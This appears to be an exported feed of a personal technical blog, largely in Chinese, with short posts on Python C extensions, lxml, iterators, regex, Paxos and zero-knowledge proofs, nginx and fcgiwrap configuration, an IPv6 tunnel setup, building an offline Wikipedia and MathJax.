FONT = "-*-helvetica-*-r-normal--34-*-*" # Set the font
COLOR = "#287D28" # Set the color (dark green)
p = pyosd.osd(font=FONT, colour=COLOR) # init pyosd with the font and color
p.display(songtitle) # Finally use Pyosd to display the song title
time.sleep(2) # Show the message for 2 seconsd
]]>To prove safety, we just need to show that, if a Phase 2 quorum is first made by a proposal $p$ with round number $r(p)$ and value $v(p)$, then any proposal $q$ with $r(q) > r(p)$ must have $v(q) = v(p)$.
Denote the event, the first Phase 2 quorum is made, by $e$, which happens at time $t$. Then
At time $t$, any accepted proposal $q$ must have $r(q) \leq r(p)$. Since different processes never have the same round number, this is to say, any accepted proposal $q$ other than $p$ must have $r(q) < r(p)$.
Proof. By contradiction. If $r(q) > r(p)$, then $q$'s Phase 1 must have completed before time $t$. But then it prevents $p$'s Phase 2 quorum from being formed.
Any proposal $q$ s.t. $r(q) > r(p)$ must have $v(q) = v(p)$.
Proof. $q$'s Phase 1 cannot complete before $t$, as argued above. Also by the above, we know $r(p)$ is the largest among all accepted proposals at time $t$. So $p$ will be considered in $q$'s Phase 1.
http://www.sqlite.org/cvstrac/wiki?p=ManagementTools
用了一下sqliteman，还不错。
]]>
// spam.c
#include <stdio.h>
int add(int a, int b)
{
return a + b;
}
void print_str(const char *u, const char *v)
{
printf("u = %s\nv = %s\n", u, v);
}
// wrap_spam.c
// Python.h must be included before any standard headers
#include <Python.h>
static PyObject *wrap_add(PyObject *self, PyObject *args)
{
int a;
int b;
int res;
// parse tuple using format string "ii" (two ints)
if (!PyArg_ParseTuple(args, "ii", &a, &b))
return NULL;
res = add(a, b);
return Py_BuildValue("i",res);
}
static PyObject *wrap_print_str(PyObject *self, PyObject *args)
{
char *u;
char *v;
if (!PyArg_ParseTuple(args, "ss", &u, &v))
return NULL;
print_str(u, v);
// increase ref counter
Py_INCREF(Py_None);
return Py_None;
}
static PyObject *wrap_print_kw_str(PyObject *self, PyObject *args, PyObject *keywds)
{
// v should be initialized since it's optional
char *u;
char *v = "default_v";
// keyword list, set an element to '' if no keyword match
char *kwlist[] = {"str1", "str2", NULL};
// args after "|" are optional
if (!PyArg_ParseTupleAndKeywords(args, keywds, "s|s", kwlist, &u, &v))
return NULL;
print_str(u, v);
Py_INCREF(Py_None);
return Py_None;
}
// List of methods.
//
// wrap_print_kw_str has type PyCFunctionWithKeywords,
// but the field in PyMethodDef is PyCFunction. It
// should be OK without this cast, but some warnings
// will be generated.
static PyMethodDef SpamMethods[] =
{
{"add", wrap_add, METH_VARARGS, "add two numbers"},
{"print_str", wrap_print_str, METH_VARARGS, "print two strings"},
{"print_kw_str", (PyCFunction)wrap_print_kw_str, METH_VARARGS | METH_KEYWORDS, "print two strings, which can be specified by keyword args"},
{NULL, NULL, 0, NULL}
};
// Init function. Name must be init+[module name]
void initspam()
{
PyObject *m = Py_InitModule("spam", SpamMethods);
}
spam.c里定义了函数add和print_str，wrap_spam.c是对这两个函数的包装以方便Python的调用。其中wrap_print_str和wrap_print_kw_str都是对print_str的包装，但具有不同的参数接受形式。
由上例可以看出参数的转换主要是由这么几个函数完成的：
具体说明参见http://docs.python.org/c-api/arg.html
为Python写C扩展主要有以下几个步骤：
# Makefile spam.so:spam.c wrap_spam.c gcc -fpic -shared -o spam.so spam.c wrap_spam.c -I /usr/include/python2.7/
#!/usr/bin/python2
from distutils.core import setup, Extension
module1 = Extension('spam',
sources = ['spam.c', 'wrap_spam.c'])
setup (name = 'spam',
version = '1.0',
description = 'This is a spam package',
ext_modules = [module1])
$ python2 setup.py build
Links:
Links:
]]>h.follow_redirects = False # disable cookie headers['Cookie'] = response['set-cookie'] # manually set cookie]]>
但本文的主角并不是上面链接里的xml.dom.minidom和xml.sax，而是一个并非Python内置的叫做lxml的库。这个库非常可爱，使用方法非常简单：
from lxml import *
先从DOM方法说起吧。对一个XML文档进行parse可以得到一个ElementTree对象，对其调用getroot方法可以得到根节点，是一个Element对象。主要的操作都是围绕Element这个类展开的。对一个DOM树的主要操作也就下面这些：
标签名
Element对象的tag成员。
子节点
getchildren()方法。但每个Element都是一个list，包含了所有子节点，可以用for loop遍历，也可以用[]直接操作。
父节点
getparent()方法。
左邻居
getprevious()方法。
右邻居
getnext()方法。
创建节点
etree.Element('name')
创建子节点
etree.SubElement(parent,'name')
附加子节点
parent.append(node)
插入子节点
parent.insert(pos,node)
删除子节点
parent.remove(node)
移动/复制节点
移动的话只用正常的赋值操作就可以了（注意这时赋值操作不是复制而是移动，即同一个节点不能出现在一棵DOM树的两个地方）。反倒是复制稍微麻烦一些，要调用copy模块的deepcopy方法。
属性
在创建节点时可以以**args形式给出，如：
root = etree.Element('root', age='18')
也可以直接对节点进行操作，用get和set方法。
还可以使用节点的attrib成员，是一个dict，在里面直接改。
文字
文字有两种，一种是节点内(text成员)，一种是节点后(tail)，直接设置即可。没有烦人的TextNode了。
不过有一个问题是，一个包含n个子节点的节点内部可以有n+1块文字，但第一块文字不在任何子节点后怎么办？答案是由该节点而不是子节点设置。
子树递推
前面说Element是list，可以for i in node。但是这只是在直接子节点中循环。如果要在整个子树中循环，用for i in node.iter()。
其实iter()还可以给参数，这里就不说了。
XPath查询
xpath()方法。有一个默认命名空间的问题需要注意。如果设置了默认命名空间，那么不加命名空间前缀的标签名是匹配不到的。可是又没有前缀，怎么办呢？这时要给xpath()方法传入一个dict，key是自定义的，value是默认命名空间。在xpath的查询表达式中用key作为前缀就可以了。
串行化
处理完了总归要输出的，只需调用etree.tostring(root)。一些可选的参数有xml_declaration/encoding/method/pretty_print等。
lxml很好的一点是对event-driven parsing也有很好的支持。这又分两种。第一种是建树的时候报告事件，可以根据事件进行相应的操作，甚至释放子树以节省空间。第二种是用回调函数实现SAX方法。
第一种方法主要用到iterparse()。第二种方法要自己定义ParseTarget，并用自己定义的ParseTarget建立自定义parser，再用这个自定义parser进行parse。
命名空间方面，一般只需要对根节点设置默认命名空间就可以了，也就是root.nsmap设置为{None: 'http://xxx.com/xxx'}即可。
Links:
]]>
#!/usr/bin/python
x = 3
class CM:
def __init__(self):
pass
def __enter__(self):
global x
x = 5
def __exit__(self,*args):
global x
x = 2
print(x)
with CM():
print(x)
print(x)
Links:
]]>
#!/usr/bin/python
class Fib:
def __init__(self,max):
self.max = max
def __iter__(self):
iter_fib = Iter_Fib(self)
return iter_fib
class Iter_Fib:
def __init__(self,fib):
self.fib = fib
self.a = 0
self.b = 1
def __next__(self):
num = self.a
if num > self.fib.max:
raise StopIteration
self.a, self.b = self.b, self.a + self.b
return num
# explicitly called
fib = Fib(10)
fib_iter = iter(fib)
print(next(fib_iter))
print(next(fib_iter))
print(next(fib_iter))
# implicitly called in for loop
fib = Fib(100)
for i in fib:
print(i)
Fib是主类，Iter_Fib是对应的迭代器类，我们说Fib是一个有迭代器的类，因为Fib中定义了__iter__方法。在主类对象上调用__iter__方法返回一个对应的迭代器对象。
迭代器类需要定义__next__方法，返回值就是在迭代器上调用next()时要返回的下一个值。如果没有值了，要raise StopIteration异常。
显式调用的情况比较明显，在主类对象上调用iter()得到迭代器对象，在迭代器对象上调用next()得到下一个值，没有值时会触发StopIteration异常。隐式调用的情况比较有趣，可以直接用for i in 主类对象这种形式。iter()和next()都会被自动调用，而且没有值时的StopIteration异常会被for loop当作False从而循环结束，并不会抛出。
下面扯点和迭代器相关但不完全一样的。
generator function是包含了yield语句的函数，特点会生成一个generator object。可以对这个generator object调用next()方法得到一系列生成的值。这些值的生成的方法就是运行generator function，遇到yield的话就把yield后面的表达式的值输出，并将状态暂存，直至下一次调用next()。多个generator object不会互相冲突。例如：
def make_gen():
i = 0
while True:
yield i
i += 1
g = make_gen()
next(g)
next(g)
next(g)
h = make_gen()
next(h)
next(h)
generator expression看上去与list comprehension相仿，只是把方括号变成圆括号，如：
g = (i for i in lst)
同样可以在generator expression上调用next()方法，没有值了会抛出StopIteration异常，不细说了。
]]>import re p = '\d\d\d' s = 'abc123def' # Method 1 re.search(p,s) # Method 2 o = re.compile(p) o.search(s)
然后需要记忆一些常用的正则表达式：
.
^
$
*
+
?
*?
+?
??
{m}
{m,n}
{m,n}?
\
[]
|
(...)
(?P<name>...)
(?P=name)
(?=...)
(?!...)
(?<=...)
(?<!...)
\number
\b
\B
\d
\D
\s
\S
\w
\W
具体说明在第一个置底链接页面里。
re模块有一些常用方法如下：
match object有一些常用方法如下：
Tips：
Links:
]]>Links:
]]># ~/.ipython/ipythonrc confirm_exit 0 # Exit without confirmation when typing Ctrl-D readline_parse_and_bind "\C-l": clear-screen # Ctrl-l will clear screen]]>
Links:
]]>yaourt -S wine-thunder]]>
首先注意一个信息$I$的私密性是和破解者$A$的计算能力有关的。比如说$x = w^2 \,mod\, n$是二次剩余(QR)，其中$x$是公开的而$w$是私密的（即$I = \{w\}$）。那么普遍认为一个多项式时间的$A$是不能算出$w$的。如果我们定义$A$关于$I$的知识为$K_A(I)$，那么在$A$为多项式时间的前提下，$w$的具体值是不包括在$K_A(I)$中的。那$K_A(I)$包括了什么呢？虽然$A$不能算出$w$的具体值，但是$A$可以取$w'$且算出$w'^2$。如果$w'^2 \neq x$，那么$A$知道$w \neq w'$，这就可以看成是$K_A(I)$中的元素。当然$A$可以取不同的$w'$，甚至可以采用不同的多项式算法，得到不同的关于$w$的知识，这些都是$K_A(I)$中的元素。
如果我们允许$A$运行任意长时间，那么$A$可以枚举所有的$w'$并计算$w'^2$，找出使得$w'^2 = x$的$w'$，于是$A$知道$w$只能在这些$w'$中取值。显然这个可以运行任意长时间的$A$获得的知识不少于只能运行多项式时间的$A$，也就是后者的$K_A(I)$是前者的一个子集。
当然，即便是这个可以运行任意长时间的$A$，也不能精确地算出$w$是什么，所以即便对于计算能力任意强的破解者$A$，也有些知识不属于其$K_A(I)$。
然后考虑验证者$V$与证明者$P$的交互。什么叫做零知识？就是说$V$与$P$交互之后$K_V(I)$没有变化。那么$V$如何从与$P$的交互中学习新的知识呢？$V$与$P$交互和不交互的区别，只是多了一份通讯记录$H$以及在这份通讯记录中$V$产生但未发送的随机位$R$（发送的随机位算在$H$里了）。$\langle H,R \rangle$实际上服从一个分布$D$。如果$V$自己可以在规定时间内得到分布$D$，那么$V$就没有从和$P$的交互中获得额外的知识（知识是通过消息的分布来传递的）。零知识指的就是没有这些额外的知识。
实际上$D$的计算是由Simulator来做的。注意到Simulator的时间限制不能比$V$更松，因为Simulator要被$V$调用。因为通常我们都考虑$V$的限制为多项式时间的情况，所以Simulator也被限制为多项式时间。如果满足条件的Simulator存在，那么$V$就可以自己生成$\langle H,R \rangle$。$V$只需运行Simulator然后采用其输出即可，因为Simulator就是按照$D$来输出的。
既然Simulator要被$V$调用，为什么Simulator的构造中却可以调用$V$的策略呢？究竟是谁包含谁呢？其实可以把Simulator想象成一个带有回调函数指针的工具，而$V$是一个人，$V$调用Simulator的时候遇到回调函数指针就用自己的策略作为回调函数代入。这一般都是为了保证Simulator能顺利计算出$V$发送的消息的分布。
值得一提的是，在computationally indistinguishable的意义下，允许Simulator的输出有小概率出错（即不服从实际$D$的分布）。Simulator输出的分布反映了$V$原本的知识，实际的$D$反映了$V$从$P$那里获得的知识，这两个分布越相似，说明$V$从$P$那里获得的新知识越少。Simulator出错的概率足够小，就说明获得的新知识足够少。
最后有一个问题没有解决。考虑CCA-secure的公钥加密系统$(p_k,s_k)$。$P$要向$V$证明自己有私钥$s_k$但不让$V$了解关于$s_k$的知识。交互式证明协议如下：
看起来像是ZK的但是不知道怎么构造Simulator。首先第一步只能调用$V$的策略，但是$V$可以是邪恶的，可以完全不生成$m$而直接随机选取$c$。于是第二步就不知道怎么回了。猜的话概率是$1/2^{|m|}$指数小，也就是期望猜中的步数是$2^{|m|}$，指数级别，不是多项式了。难道说不是ZK的么？不是ZK的话还真不知道有什么形式化的证明。构造不出来Simulator这个应该是不能算证明的……
]]>使用方法：http://code.google.com/p/chnroutes/wiki/Usage
chnroutes_openvpn_v2.1文件生成OpenVPN客户端配置文件需要的路由配置。chnroutes_ovpn_linux生成手动路由设置脚本文件。chnroutes_ovpn_android生成供Android使用的手动路由设置脚本文件。一般用第一个就够了。
APNIC的国家IPv4地址段：http://ftp.apnic.net/apnic/dbase/data/country-ipv4.lst
]]>Links:
]]>只想到一个动态规划的方法，写了一个$4 \times 4$的程序。下面的cchi函数就是所需最少单色连续矩形的个数的。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
int perm[24][4] = {
1,2,3,4,
1,2,4,3,
1,4,2,3,
4,1,2,3,
4,1,3,2,
1,4,3,2,
1,3,4,2,
1,3,2,4,
3,1,2,4,
3,1,4,2,
3,4,1,2,
4,3,1,2,
4,3,2,1,
3,4,2,1,
3,2,4,1,
3,2,1,4,
2,3,1,4,
2,3,4,1,
2,4,3,1,
4,2,3,1,
4,2,1,3,
2,4,1,3,
2,1,4,3,
2,1,3,4,
};
int m[4][4] = {
0,0,1,1,
0,1,0,1,
0,0,0,0,
0,0,0,0,
};
void printmat(int mat[][4])
{
int k,l;
for (k = 0;k < 4;k++) {
for (l = 0;l < 4;l++) {
printf("%d ",mat[k][l]);
}
printf("\n");
}
}
int cchi(int mat[][4])
{
int mincchi = 16;
int maxy;
int mat2[4][4],k2,l2;
int matbak[4][4];
int k,l,x,y;
for (k = 0;k < 4;k++) {
for (l = 0;l < 4;l++) {
matbak[k][l] = mat[k][l];
}
}
for (k = 0;k < 4;k++) {
for (l = 0;l < 4;l++) {
if (mat[k][l] != -1)
goto recur;
}
}
return 0;
recur:
maxy = 4 - k;
for (x = 0;l + x < 4 && mat[k][l+x] == mat[k][l];x++) {
for (y = 0;y < maxy;y++) {
if (mat[k+y][l+x] == mat[k][l]) {
int xx,yy;
for (xx = 0;xx <= x;xx++) {
for (yy = 0;yy <= y;yy++) {
mat[k+yy][l+xx] = -1;
}
}
int candi = cchi(mat) + 1;
if (candi < mincchi) {
mincchi = candi;
}
for (xx = 0;xx <= x;xx++) {
for (yy = 0;yy <= y;yy++) {
mat[k+yy][l+xx] = matbak[k+yy][l+xx];
}
}
} else {
maxy = y;
break;
}
}
}
return mincchi;
}
int main()
{
int i,j,k,l,t;
int mt[4][4],mp[4][4];
int mincchi = 16;
int rowperm[4],colperm[4];
for (i = 0;i < 24;i++) {
for (j = 0;j < 24;j++) {
// row perm
for (k = 0;k < 4;k++) {
for (l = 0;l < 4;l++) {
mt[perm[i][k]-1][l] = m[k][l];
}
}
// col perm
for (k = 0;k < 4;k++) {
for (l = 0;l < 4;l++) {
mp[k][perm[j][l]-1] = mt[k][l];
}
}
int candi = cchi(mp);
if (candi < mincchi) {
mincchi = candi;
for (t = 0;t < 4;t++) {
rowperm[t] = perm[i][t];
colperm[t] = perm[j][t];
}
}
}
}
printf("mincchi = %d\n",mincchi);
for (t = 0;t < 4;t++) {
printf("%d ",rowperm[t]);
}
printf("\n");
for (t = 0;t < 4;t++) {
printf("%d ",colperm[t]);
}
printf("\n");
return 0;
}
这程序的其他部分是为了解决另外一个问题。在通讯复杂度里用rectangle tiling方法研究下界的时候不要求矩形是连续的，但是不连续的矩形不容易看出（not visually friendly）。所以是不是在单色、不重叠完全覆盖的情况下，要求的不连续矩形最少个数（记为$\chi$）和连续矩形最小个数（记为$\chi'$）一样多呢？（熟悉通讯复杂度的话应该知道$\log_2 \chi$是通讯复杂度的下界）
注意这里我们允许对矩阵做任意的行置换和列置换（不然就trivial了），反正这是不影响$\chi$的。如果我们总能找到一个行置换和列置换使得$\chi = \chi'$的话，就可以用连续矩形来研究了。遗憾的是这是不可能的，对于任意$n \geq 4$，都存在$n \times n$的矩阵M，在$M$上进行任意行置换、列置换，得到的矩阵都有$\chi < \chi'$。具体的证明见：http://cstheory.stackexchange.com/questions/6727/monochromatic-rectangle-tiling
这个程序的其他部分就是在计算所有可能的行置换、列置换之后的$\chi'$……
]]>userspace program using TUN/TAP to build 6to4/tunnelbroker/ISATAP tunnel on linux
没有sit设备的内核可以用这个来使用he.net的tunnelbroker。具体做法是在tunnelbroker.net建立tunnel之后，用以下命令替代tunnelbroker.net的配置脚本（需root权限）：
setsid ./tb_userspace tb [server ipv4 addr] [client ipv4 addr] sit > /dev/null ifconfig tb inet6 add [client ipv6 addr] ifconfig tb mtu 1480 route -A inet6 add ::/0 dev tb
示例：
setsid ./tb_userspace tb 8.8.8.8 127.0.0.1 sit > /dev/null ifconfig tb inet6 add 2001:xxx::2/64 ifconfig tb mtu 1480 route -A inet6 add ::/0 dev tb
Links:
]]>答案里面的数学解法看上去挺漂亮的。首先观察到小贩们的运动不会交叉。然后对于编号为$i < j$的任意两个小贩（称为一个pair），设他们的当前距离为$d(i,j) = P_j - P_i$，想要达到的距离为$D(i,j) = D \cdot (j - i)$。不妨称前面的为现实距离，后面的为理想距离好了。然后找到理想距离与现实距离的差的最大值$X = \max(D(i,j) - d(i,j))$。差距为$X$的pair可能有一组或多组，称这样的pair为$X$-pair。一个observation是一个小贩不可能既是一个$X$-pair的左端点，又是另一个$X$-pair的右端点，不然其余两个端点的现实距离与理想距离的差距会更大，矛盾。
这就好了。让每个$X$-pair的左端点向左跑，右端点向右跑，现实距离就增大了，与理想的差距就缩小了，而且这个过程是以2倍速在进行。注意他们是不可能撞在一起的，否则上面推矛盾的方法照用。也就是说即便从运动方向判断可能撞在一起，实际上在相撞之前所有$X$-pair构成的集合就动态变化了。那么$X$值总是以2倍速减小。$X = 0$的时候就是条件满足的时候。如果一开始$X > 0$的话，只需要$X/2$时间。如果一开始$X \leq 0$的话就什么都不用做，也就是时间为0。
最后说明求$X$的时候可以线性。因为小贩的顺序不会变，可以顺序求$D(i,i+1) - d(i,i+1)$，边累加边维护最大值。当前累加值如果小于0就丢弃。其实就是连续子序列最大和的贪心。
]]>Links:
]]>...a regular register is atomic if two successive reads that overlap the same write cannot obtain the new then the old value...
Links:
]]>If there is a protocol that satisfies this requirement, then we call it a zero-knowledge proof for the Sudoku problem, because the verifier Victor doesn't learn anything about the solution from the proof.
The protocol is as follows:
Note that Victor doesn't learn anything about the solution in this protocol.
If there is a solution and Peter really knows it, Victor will always get a permutation of 1 to 9 in Step 4. So Victor will always believe Peter knows the solution.
But if there isn't a solution, it's still possible for Peter to cheat Victor, because it's possible for Peter to just 'guess right'. Here's when the photocopier comes. After Step 1, Victor can photocopy the paper into 27 copies, so all 9 row, 9 columns and 9 submatrices will be verified. Further, Victor can verify the initial numbers are the same on both sides of the paper on-the-fly. Thus if there isn't a solution, then it's impossible for Peter to cheat Victor.
]]>仔细一看，汗如雨下……
去法国大神主页膜拜即可……
Links:
]]>]]>The access control software consults two files. The search stops at the first match:
- Access will be granted when a (daemon,client) pair matches an entry in the /etc/hosts.allow file.
- Otherwise, access will be denied when a (daemon,client) pair matches an entry in the /etc/hosts.deny file.
- Otherwise, access will be granted.
A non-existing access control file is treated as if it were an empty file. Thus, access control can be turned off by providing no access control files.
.post {
border-top:1px solid #eeeeee;
border-bottom:1px solid #cccccc;
}
.post:first-child {
border-top:0px;
}
.post:last-child {
border-bottom:0px;
}
Links:
]]>Sample:
server {
rewrite ^/post/([\d]+)$ /readpost.php?id=$1&$args last;
rewrite ^/page/([\d]+)$ /index.php?page=$1&$args last;
rewrite ^/logout$ /actions/logout.php last;
rewrite ^/error$ /error.php last;
rewrite ^/writepost$ /writepost.php last;
rewrite ^/writepost/([\d]+)$ /writepost.php?id=$1&$args last;
rewrite ^/rss$ /rss.php last;
rewrite ^/atom$ /atom.php last;
if ($scheme = https) {
rewrite ^/login$ /login.php last;
}
if ($scheme = http) {
rewrite ^/login$ https://$server_name$uri permanent;
}
}
Link:
]]>Install fcgiwrap
pacman -S fcgiwrap
Write CGI (using Bash, Perl, etc.), save as /tmp/hello.sh
#!/bin/bash echo "Content-type: text/html" # An empty line is needed here. So echo nothing. echo "" echo "<html>" echo "<head>" echo "<title>Wow</title>" echo "</head>" echo "<body>" echo "<h1>Hello World!</h1>" echo "</body>" echo "</html>"
Run fcgiwrap
fcgiwrap -s unix:/tmp/cgi.sock
Make sure the worker process of nginx have write permission to /tmp/cgi.sock.
Configure nginx
location /hello.cgi {
fastcgi_pass unix:/tmp/cgi.sock;
fastcgi_param SCRIPT_FILENAME /tmp/hello.sh;
}
Run nginx
/etc/rc.d/nginx start
Open browser and enjoy!
Note. When I was doing this experiment, I frequently had the error "upstream closed prematurely FastCGI stdout while reading response header from upstream" in Nginx's error log. Finally I found out the reason. The CGI script had a bug. It must output an empty line after the "Content-type" line. Now this is corrected.
]]>Before you start, you should read the great tutorial provided by Thanassis Tsiodras:
http://users.softlab.ntua.gr/~ttsiod/buildWikipediaOffline.html
Read it carefully to make sure you know what's going on. Then read this supplement:
http://jsomers.net/blog/offline-wikipedia
Now let's move on!
Download official .xml.bz2 dumps:
The address is:
http://dumps.wikimedia.org/enwiki/latest/
According to the official notice, downloading enwiki-latest-pages-articles.xml.bz2 alone should suffice. But I've made up a list enwikidl.txt which can be used with wget as follows, in case you need other files:
wget -c -i enwikidl.txt
Note. Some very large files are not included in the list.
Don't decompress it! We won't need the decompressed file!
Install Xapian and Django. If you use Arch Linux, type
pacman -S xapian-core django
The case in other distros should be similar. You can also compile it from source.
Download this package:
http://users.softlab.ntua.gr/~ttsiod/offline.wikipedia.tar.bz2
Decompress it and enter the decompressed folder. The svn server in the Makefile doesn't work. So we need to manually download the needed file from:
http://users.softlab.ntua.gr/~ttsiod/mediawiki_sa.tar.7z
Put it in the folder offline.wikipedia, then decompress it. So you should have folder structure offline.wikipedia/mediawiki_sa/
Then manually change the Makefile. Specifically, remove the line:
@svn co http://fslab.de/svn/wpofflineclient/trunk/mediawiki_sa/ mediawiki_sa || echo Failed to get from svn...
Move the .xml.bz2 downloaded in Step 1 to offline.wikipedia/wiki-splits/ Then change the first line of the Makefile to
XMLBZ2 = enwiki-latest-pages-articles.xml.bz2
Type 'make' and wait for 5 to 6 hours. Have a cup of coffee.
Enter the folder offline.wikipedia/mywiki. Run
python manage.py runserver
Then open your browser at http://localhost:8000/ If everything is fine, you should be able to use it. I encountered some problems. The browser shows the parser has error and the console shows PHP is not being able to open /var/tmp/result. If this happens, edit /etc/php/php.ini, append /var/tmp/ to open_basedir, like this
open_basedir = /foldera/:/folderb/:/folderc/:/var/tmp/
After this, there is still a PHP Notice 'Only variable references should be returned by reference'. This can be fixed by editing offline.wikipedia/mediawiki_sa/includes/DatabaseFunctions.php. Modify Line 53 to 55 as:
$ret = null;
//$ret =& $wgLoadBalancer->getConnection( $db, true, $groups );
return $ret;
The source of MediaWiki may help you:
To make it more pleasant, add the following lines beneath </form> in Line 97, offline.wikipedia/mywiki/show.pl:
<style type="text/css">
body {
font-family: Verdana;
font-size: 12.23px;
line-height: 1.5em;
}
a {
color: #1166bb;
text-decoration: none;
}
a:hover {
border-bottom: 1px solid #1166bb;
}
.reference {
font-size: 7.12px;
}
.references {
font-size: 10.12px;
}
</style>
Download images (not done yet):
Use Wikix:
location / {
auth_basic "Restricted";
auth_basic_user_file htpasswd;
}
Generate htpasswd (using htpasswd.py):
python htpasswd.py -c -b htpasswd {username} {password}
Using the above configuation, the htpasswd file should be placed in the same folder as nginx.conf.
Links:
]]>php方面，按照样例的配置，访问/时执行location search后会由location /部分处理，其内部若有index index.php，相当于内部跳转，再次执行location search后会由location ~ \.php\$部分处理。
Links:
]]>Error: The stylesheet http://mediawiki/skins/common/main.css?270 was not loaded because its MIME type, "text/html", is not "text/css".
于是做实验，写了如下代码index.php：
<html>
<head>
<link rel="stylesheet" type="text/css" href="/skins/common/main.css" />
</head>
<body>
<p id="mi">Come on!</p>
</body>
</html>
结果CSS可以正常加载，但是给出Warning如下：
Warning: The stylesheet http://localhost/skins/common/main.css was loaded as CSS even though its MIME type, "text/html", is not "text/css".
解决方法是在php.ini中改为
default_mimetype = ""
注意只注释掉是不行的，因为默认值是"text/html"。
]]>用Javascript渲染的话好处多多啊。网页源代码是文本，不用下载各种图片。字体支持缩放，打印效果也比图片好。
最近忙，等有空了搞搞，看能不能给Blade加上这个功能。
Homepage of MathJax: http://www.mathjax.org/
Homepage of jsMath: http://www.math.union.edu/~dpvc/jsMath/
Update. 搞定了，用了MathJax。加个Javascript链接就可以了：
<!-- MathJax -->
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
TeX: {
extensions: ["AMSmath.js", "AMSsymbols.js", "autobold.js"]
},
tex2jax: {
inlineMath: [ ['$','$'], ['\\(','\\)'] ],
processEscapes: true
}
});
</script>
<script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
下面是试验：
\[\begin{aligned} \dot{x} & = \sigma(y-x) \\ \dot{y} & = \rho x - y - xz \\ \dot{z} & = -\beta z + xy \end{aligned} \] \[ \left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right) \] \[\mathbf{V}_1 \times \mathbf{V}_2 = \begin{vmatrix} \mathbf{i} & \mathbf{j} & \mathbf{k} \\ \frac{\partial X}{\partial u} & \frac{\partial Y}{\partial u} & 0 \\ \frac{\partial X}{\partial v} & \frac{\partial Y}{\partial v} & 0 \end{vmatrix} \] \[P(E) = {n \choose k} p^k (1-p)^{ n-k} \] \[ \frac{1}{\Bigl(\sqrt{\phi \sqrt{5}}-\phi\Bigr) e^{\frac25 \pi}} = 1+\frac{e^{-2\pi}} {1+\frac{e^{-4\pi}} {1+\frac{e^{-6\pi}} {1+\frac{e^{-8\pi}} {1+\ldots} } } } \] \[ 1 + \frac{q^2}{(1-q)}+\frac{q^6}{(1-q)(1-q^2)}+\cdots = \prod_{j=0}^{\infty}\frac{1}{(1-q^{5j+2})(1-q^{5j+3})}, \quad\quad \text{for $|q|<1$}. \] \[ \begin{aligned} \nabla \times \vec{\mathbf{B}} -\, \frac1c\, \frac{\partial\vec{\mathbf{E}}}{\partial t} & = \frac{4\pi}{c}\vec{\mathbf{j}} \\ \nabla \cdot \vec{\mathbf{E}} & = 4 \pi \rho \\ \nabla \times \vec{\mathbf{E}}\, +\, \frac1c\, \frac{\partial\vec{\mathbf{B}}}{\partial t} & = \vec{\mathbf{0}} \\ \nabla \cdot \vec{\mathbf{B}} & = 0 \end{aligned} \]
内联一个$3x + 5(z + w) + 5y^2 = \sum_{i = 1}^{9} \prod_{j = 1}^{3} C_{ij}$哇哈哈哈
pre标签里的不会变有木有！！！prompt什么的再也不怕了！！！
computer $ ls \(abc\).txt computer $ 12 + 34 \cdot 56$
还支持转义后的符号啊啊啊果然爽～～～
]]>算法在这里：
http://en.wikipedia.org/wiki/Oblivious_transfer#1-2_oblivious_transfer
]]>
Bit complexity model(BCM)是说每个数的size是其二进制表示下的长度，总的size是所有数的长度的和。每次计算的复杂度与操作数的size有关。
Arithmetic complexity model(ACM)是说每个数的size是1，总的size是数的个数。每次计算的复杂度是O(1)。
通常我们使用BCM。但BCM对无理数是不适用的，因为无理数没法写成有限多个bits。
这段文章是说内点法和椭圆法在BCM下才是多项式时间的，在ACM下则不保证（目前是open problem）。
关于ACM有个strongly polynomial的定义，参见http://en.wikipedia.org/wiki/Time_complexity#Strongly_and_weakly_polynomial_time。
]]>shntool split -f CDImage.cue -t '%n.%p-%t' -o flac -d output CDImage.flac
http://dbgroup.cs.tsinghua.edu.cn/wangyi/misc/algorithms/algorithms-notes.pdf
]]>考虑群的定义，有3条：
首先考虑consistency。我们不妨再加入一条：
那么这四条定义是不一致的。因为根据前三条可以推导出每个元素的逆元是唯一的，这与第四条矛盾。
那么不禁要问，原来的三条定义是不是一致的呢？解答这个问题的办法就是提供一个实例同时满足这三条定义。只包含单位元的群{e}就是这样一个实例。
但假如我们无法找到这样一个实例，我们似乎（注意，只是似乎，因为我不知道有没有其他方法）就无法证明其一致性（除非它们可以互相推导，但这就不简洁了，见下文）。同时假如我们又无法通过推导找出其中的矛盾，那我们就陷入了既不能证明又不能证否的两难境地。这种关于一致性证明的两难境地存在的必然性或解决方法，是我思考的第一个问题。
下面假设consistency满足，来考虑conciseness。这时我们把第四条改为：
上面已经说过了，第四条是可以由前三条推导出的。那么就没有把它作为一条定义的必要，因为加入这一条丧失了定义的简洁性（conciseness）。棘手的问题是，我们能否证明前三条定义是满足简洁性的呢？假设一共有n条定义。不妨设d_n是不简洁的，且d_n可以由定义d_1,d_2,...,d_k推导出。那么由consistency满足，知d_n也可以由定义d_1,d_2,...,d_{n-1}推导出。也就是说一条定义是不简洁的当且仅当它可以由其他所有定义推导出。于是，为了证明一组定义是简洁的，我们只需证明每条定义d_i都是简洁的。证明d_i是简洁的方法是针对其他定义满足的情况，分别构造满足d_i与不满足d_i的实例。
例如，为了证明第三条“任一元素存在逆元”是简洁的，我们构造均满足第一条和第二条的如下两个实例：
这个方法的问题在于，假如所有实例都被构造出，则简洁性得到了证明。但实例构造不出并不意味着没有简洁性，有可能只是构造实例的人没有想到罢了。
概括一下，通过构造实例可以证明简洁性，通过由其他定义推导出该条定义可以证明不简洁性。但如果这两方面都做不到，我们就陷入了简洁性证明的两难境地。这种关于简洁性证明的两难境地存在的必然性或解决方法，是我思考的第二个问题。
最后，考虑一组不简洁的定义S = {d_1,d_2,...,d_n}。我们可以去掉那些可由其他定义推导出的定义，也就是不简洁的定义S_r，从而得到一组简洁的定义S_c（即S_c是S_r在S中的补集且S_r中的任一定义都可以由S_c推导出）。显然若S_c确定了则S_r也确定了。但注意S_c的选择未必是唯一的，例如，如果A等价于B等价于C，那么我们可以选择S_c为A,B,C中的任何一个。问题来了。对于不同的S_c的选择S_{c_1}和S_{c_2}，我们是否都有|S_{c_1}| = |S_{c_2}|？这是我思考的第三个问题。
Update. 第三个问题非常trivial，显然不成立。反例是：
